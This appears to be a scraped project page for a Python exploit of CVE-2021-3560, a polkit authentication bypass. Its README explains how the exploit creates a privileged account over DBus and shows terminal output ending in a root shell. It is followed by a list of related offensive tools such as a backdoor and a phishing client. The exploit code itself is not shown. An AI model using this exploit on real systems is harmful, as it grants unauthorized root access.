Polkit-exploit - CVE-2021-3560

Privilege escalation with polkit - CVE-2021-3560

Summary

CVE-2021-3560 is an authentication bypass on polkit, which allows unprivileged user to call privileged methods using DBus, in this exploit we will call 2 privileged methods provided by accountsservice (CreateUser and SetPassword), which allows us to create a priviliged user then setting a password to it and at the end logging as the created user and then elevate to root.

Exploit Code Author

Ahmad Almorabea @almorabea http://almorabea.net

Usage

[email protected]:~/Desktop$ python3 CVE-2021-3560.py 
**************
Exploit: Privilege escalation with polkit - CVE-2021-3560
Exploit code written by Ahmad Almorabea @almorabea
Original Exploit Author: Kevin Backhouse 
For more details check this: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#history
[+]Starting the Exploit 
[+] User Created with the name of ahmed
[+] Timed out at: 0.008446890996407191
[+] Timed out at: 0.008934336684707084
[+] Exploit Completed, your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root 
bash: cannot set terminal process group (46983): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/home/test/Desktop# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/home/test/Desktop# whoami
root
[email protected]:/home/test/Desktop#

Demo

GUI Authentication

Terminal Authentication

Credit

Kevin Backhouse (https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)

Privilege escalation with polkit - CVE-2021-3560

Related tags

Overview

Polkit-exploit - CVE-2021-3560

Summary

Exploit Code Author

Usage

Demo

Credit

Owner

Ahmad Almorabea

S2-062 (CVE-2021-31805) / S2-061 / S2-059 RCE

Convert a collection of features to a fixed-dimensional matrix using the hashing trick.

Argument Injection in Dragonfly Ruby Gem

Client script for the fisherman phishing tool

Proof of concept for CVE-2021-31166, a remote HTTP.sys use-after-free triggered remotely.

Dome - Subdomain Enumeration Tool. Fast and reliable python script that makes active and/or passive scan to obtain subdomains and search for open ports.

The First Python Compatible Camera Hacking Tool

Script for automatic dump and brute-force passwords using Volatility Framework

带回显版本的漏洞利用脚本

This little tool is to calculate a MurmurHash value of a favicon to hunt phishing websites on the Shodan platform.

This is a Crypto asset tracker that I built to aid my personal journey in cryptocurrencies.

Script hecho en python para sacar la informacion del numero de telefono, Hecha con el API de numverify

Suricata Language Server is an implementation of the Language Server Protocol for Suricata signatures

SSL / TLS Checking Tool written in Python3

Reusable Lightweight Pythonic Dependency Injection Library

A TCP Backdoor made in python

Bypass's HCaptcha by overloading their api causing it to throwback a generated uuid. (Released due to exposure)

Mr.Holmes is a information gathering tool (OSINT)

A signature parser for hikari's command handler tanjun.

解密哥斯拉webshell管理工具流量